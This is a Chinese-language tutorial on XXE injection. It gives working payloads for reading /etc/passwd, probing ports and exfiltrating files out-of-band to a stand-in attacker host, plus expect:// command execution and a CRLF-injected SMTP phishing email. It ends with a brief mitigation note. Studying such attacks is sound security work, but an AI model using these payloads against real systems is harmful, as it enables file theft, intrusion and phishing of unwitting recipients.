從XML到遠程代碼執行的方法是什么

本文小編為大家詳細介紹“從XML到遠程代碼執行的方法是什么”，內容詳細，步驟清晰，細節處理妥當，希望這篇“從XML到遠程代碼執行的方法是什么”文章能幫助大家解決疑惑，下面跟著小編的思路慢慢深入，一起來學習新知識吧。

什么是XXE

簡單來說，XXE就是XML外部實體注入。當允許引用外部實體時，通過構造惡意內容，就可能導致任意文件讀取、系統命令執行、內網端口探測、攻擊內網網站等危害。

例如，如果你當前使用的程序為PHP，則可以將libxml_disable_entity_loader設置為TRUE來禁用外部實體，從而起到防御的目的。

基本利用

通常攻擊者會將payload注入XML文件中，一旦文件被執行，將會讀取服務器上的本地文件，并對內網發起訪問掃描內部網絡端口。換而言之，XXE是一種從本地到達各種服務的方法。此外，在一定程度上這也可能幫助攻擊者繞過防火墻規則過濾或身份驗證檢查。

以下是一個簡單的XML代碼POST請求示例：

POST /vulnerable HTTP/1.1
Host: www.test.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: https://test.com/test.html
Content-Type: application/xml
Content-Length: 294
Cookie: mycookie=cookies;
Connection: close
Upgrade-Insecure-Requests: 1

<?xml version="1.0"?>
<catalog>
   <core id="test101">  <author>John, Doe</author>  <title>I love XML</title>  <category>Computers</category>  <price>9.99</price>  <date>2018-10-01</date>  <description>XML is the best!</description>
   </core>
</catalog>

之后，上述代碼將交由服務器的XML處理器解析。代碼被解釋并返回：{"Request Successful": "Added!"}

現在，當攻擊者試圖濫用XML代碼解析時會發生什么？讓我們編輯代碼并包含我們的惡意payload：

<?xml version="1.0"?>
<!DOCTYPE GVI [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<catalog>
   <core id="test101">  <author>John, Doe</author>  <title>I love XML</title>  <category>Computers</category>  <price>9.99</price>  <date>2018-10-01</date>  <description>&ampxxe;</description>
   </core>
</catalog>

代碼被解釋并返回：

{"error": "no results for description root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync...

Blind OOB XXE

如上例所示，服務器將/etc/passwd文件的內容作為響應返回給我們的XXE。但是在某些情況下，即便服務器可能存在XXE，也不會向攻擊者的瀏覽器或代理返回任何響應。遇到這種情況，我們可以使用Blind XXE漏洞來構建一條外帶數據(OOB)通道來讀取數據。雖然我們無法直接查看文件內容，但我們仍然可以使用易受攻擊的服務器作為代理，在外部網絡上執行掃描以及代碼。

場景1 - 端口掃描

在第一個示例中，我們通過URI將請求指向了/etc/passwd文件，并最終成功的為我們返回了文件中的內容。除此之外，我們也可以使用http URI并強制服務器向我們指定的端點和端口發送GET請求，將XXE轉換為SSRF（服務器端請求偽造）。

以下代碼將嘗試與端口8080通信，根據響應時間/長度，攻擊者將可以判斷該端口是否已被開啟。

<?xml version="1.0"?>
<!DOCTYPE GVI [<!ENTITY xxe SYSTEM "http://127.0.0.1:8080" >]>
<catalog>
   <core id="test101">  <author>John, Doe</author>  <title>I love XML</title>  <category>Computers</category>  <price>9.99</price>  <date>2018-10-01</date>  <description>&ampxxe;</description>
   </core>
</catalog>

場景2 - 通過DTD竊取文件

外部文檔類型定義（DTD）文件可被用于觸發OOB XXE。攻擊者將.dtd文件托管在VPS上，使遠程易受攻擊的服務器獲取該文件并執行其中的惡意命令。

以下請求將被發送到應用程序以演示和測試該方法：

<?xml version="1.0"?>
<!DOCTYPE data SYSTEM "http://ATTACKERSERVER.com/xxe_file.dtd">
<catalog>
   <core id="test101">  <author>John, Doe</author>  <title>I love XML</title>  <category>Computers</category>  <price>9.99</price>  <date>2018-10-01</date>  <description>&ampxxe;</description>
   </core>
</catalog>

上述代碼一旦由易受攻擊的服務器處理，就會向我們的遠程服務器發送請求，查找包含我們的payload的DTD文件：

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % all "<!ENTITY xxe SYSTEM 'http://ATTACKESERVER.com/?%file;'>">
%all;

讓我們花點時間了解上述請求的執行流程。結果是有兩個請求被發送到了我們的服務器，第二個請求為/etc/passwd文件的內容。

在我們的VPS日志中我們可以看到，帶有文件內容的第二個請求，以此我們也確認了OOB XXE漏洞的存在：

http://ATTACKERSERVER.com/?daemon%3Ax%3A1%3A1%3Adaemon%3A%2Fusr%2Fsbin%3A%2Fbin%2Fsh%0Abin%3Ax%3A2%3A2%3Abin%3A%2Fbin%3A%2Fbin%2Fsh

場景3 - 遠程代碼執行

這種情況很少發生，但有些情況下攻擊者能夠通過XXE執行代碼，這主要是由于配置不當/開發內部應用導致的。如果我們足夠幸運，并且PHP expect模塊被加載到了易受攻擊的系統或處理XML的內部應用程序上，那么我們就可以執行如下的命令：

<?xml version="1.0"?>
<!DOCTYPE GVI [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<catalog>
   <core id="test101">  <author>John, Doe</author>  <title>I love XML</title>  <category>Computers</category>  <price>9.99</price>  <date>2018-10-01</date>  <description>&ampxxe;</description>
   </core>
</catalog>

響應：

{"error": "no results for description uid=0(root) gid=0(root) groups=0(root)...

場景4 - 釣魚

我們使用Java的XML解析器找到了一個易受攻擊的端點。掃描內部端口后，我們發現了一個偵聽在25端口的SMTP服務，Java支持在sun.net.ftp.impl.FtpClient中的ftp URI。因此，我們可以指定用戶名和密碼，例如ftp://user:password@host:port/test.txt，FTP客戶端將在連接中發送相應的USER命令。

但是如果我們將%0D%0A (CRLF)添加到URL的user部分的任意位置，我們就可以終止USER命令并向FTP會話中注入一個新的命令，即允許我們向25端口發送任意的SMTP命令：

ftp://a%0D%0A
EHLO%20a%0D%0A
MAIL%20FROM%3A%3Csupport%40VULNERABLESYSTEM.com%3E%0D%0A
RCPT%20TO%3A%3Cvictim%40gmail.com%3E%0D%0A
DATA%0D%0A
From%3A%20support%40VULNERABLESYSTEM.com%0A
To%3A%20victim%40gmail.com%0A
Subject%3A%20test%0A
%0A
test!%0A
%0D%0A
.%0D%0A
QUIT%0D%0A
:a@VULNERABLESYSTEM.com:25

當FTP客戶端使用此URL連接時，以下命令將會被發送給VULNERABLESYSTEM.com上的郵件服務器：

ftp://a
EHLO a
MAIL FROM: <support@VULNERABLESYSTEM.com>
RCPT TO: <victim@gmail.com>
DATA
From: support@VULNERABLESYSTEM.com
To: victim@gmail.com
Subject: Reset your password
We need to confirm your identity. Confirm your password here: http://PHISHING_URL.com
.
QUIT
:support@VULNERABLESYSTEM.com:25

這意味著攻擊者可以從從受信任的來源發送釣魚郵件（例如：帳戶重置鏈接）并繞過垃圾郵件過濾器的檢測。除了鏈接之外，甚至我們也可以發送附件。

實用工具

能手動編輯web請求對于XXE攻擊至關重要，這里我推薦大家使用BurpSuite。BurpSuite的掃描功能可以為我們檢測潛在的XXE漏洞，其次burp的Intruder功能非常適合用于端口探測。但要提醒的是工具只是我們的輔助，在某些情況下手動測試可能效果更好！

HTTP請求分析工具像RequestBin 和 HookBin 都非常適合OOB XXE的測試。此外，BurpSuite Pro的Collaborator也是個不錯的選擇，但一些安全研究人員他們更喜歡使用他們自己的VPS。

緩解措施

上面討論的主要問題就是XML解析器解析了用戶發送的不可信數據。然而，要去校驗DTD(document type definition)中SYSTEM標識符定義的數據，并不容易，也不大可能。大部分的XML解析器默認對于XXE攻擊是脆弱的。因此，最好的解決辦法就是配置XML處理器去使用本地靜態的DTD，不允許XML中含有任何自己聲明的DTD。

讀到這里，這篇“從XML到遠程代碼執行的方法是什么”文章已經介紹完畢，想要掌握這篇文章的知識點還需要大家自己動手實踐使用過才能領會，如果想了解更多相關內容的文章，歡迎關注億速云行業資訊頻道。